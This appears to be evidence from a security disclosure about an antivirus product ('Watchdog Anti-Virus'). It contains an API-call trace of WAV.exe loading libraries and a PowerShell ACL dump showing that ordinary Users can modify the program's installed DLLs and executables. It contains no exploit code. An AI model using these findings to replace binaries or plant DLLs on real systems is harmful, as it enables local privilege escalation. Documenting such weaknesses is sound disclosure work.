WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\ws2_32
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSAStartup
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketWW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: closesocket
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketWW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketWW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASocketW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: setsockopt
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: setsockopt
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSAStartup
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: GetAddrInfoW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: FreeAddrInfoW
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: getsockopt
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSAConnect
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\sspicl
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: EnumerateSecurityPackage
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: FreeContextBuffer
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: AcquireCredentialsHandle
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: InitializeSecurityContex
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSASend
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: WSARecv
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: QueryContextAttributesW
WAV.exe,LoadLibraryExW,LPCWSTR : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: EncryptMessage
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: send
```

```
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: recv
WAV.exe,LoadLibraryExW,LPCWSTR : dwrite.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: DecryptMessage
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: DeleteSecurityContext
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\System32\WS2_32.dll, LPCSTR: shutdown
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\System
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\wsdk-antivirus.dll, LP
WAV.exe,LoadLibraryA,LPCSTR: libfreshclam.dll
WAV.exe,LoadLibraryExA,LPCSTR: libfreshclam.dll, dwFlags : NONE
WAV.exe,LoadLibraryExW,LPCWSTR : libfreshclam.dll, dwFlags : NONE
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\SSPICLI.DLL, LPCSTR: FreeCredentialsHandle
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\WAV.exe, LPCSTR: Queue
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,GetProcAddress,hModule : C:\Program Files (x86)\Watchdog Anti-Virus\scanner1\libfreshclam.
WAV.exe,LoadLibraryExW,LPCWSTR : Microsoft.DiaSymReader.Native.amd64.dll, dwFlags : LOAD_WITH_ALTE
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
WAV.exe,GetProcAddress,hModule : C:\Program Files\dotnet\shared\Microsoft.NETCore.App\6.0.7\Micros
```

File_ACLs.txt

```
Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\.sentry-
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
```

```
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;
         418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
         2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
         ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
         )

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\DefaultD
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;
         418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
         2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
         ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
         )

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT SERVICE\TrustedInstaller Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  268435456
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Administrators Allow  268435456
         BUILTIN\Users Allow  -1610612736
```

```
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;OICIID;0x1301bf;;;BU)(A;ID;FA;;
         418522649-1831038044-1853292631-2271478464)(A;CIIOID;GA;;;S-1-5-80-956008885-3418522649-1
         2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;ID;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;OICIIOI
         ID;GA;;;CO)(A;ID;0x1200a9;;;AC)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICII
         )

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\C
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\crashpad_
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\IEShims.
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\libcrypt
```

```
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\libssl-1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\log4cpp.
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\log4net.
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\Microsoft.Win32.SystemEvents.dll
```

```
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\msvcp140
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\Newtonso
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sciter.d
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sentry.d
Owner  : BUILTIN\Administrators
```

```
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\Setup.ex
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\sfc.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Configuration.ConfigurationManager.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Diagnostics.EventLog.dll
```

```
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Diagnostics.EventLog.Messages.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\System.D
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Security.Cryptography.ProtectedData.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

```

```
Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Security.Permissions.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\System.Threading.AccessControl.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\ucrtbase
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
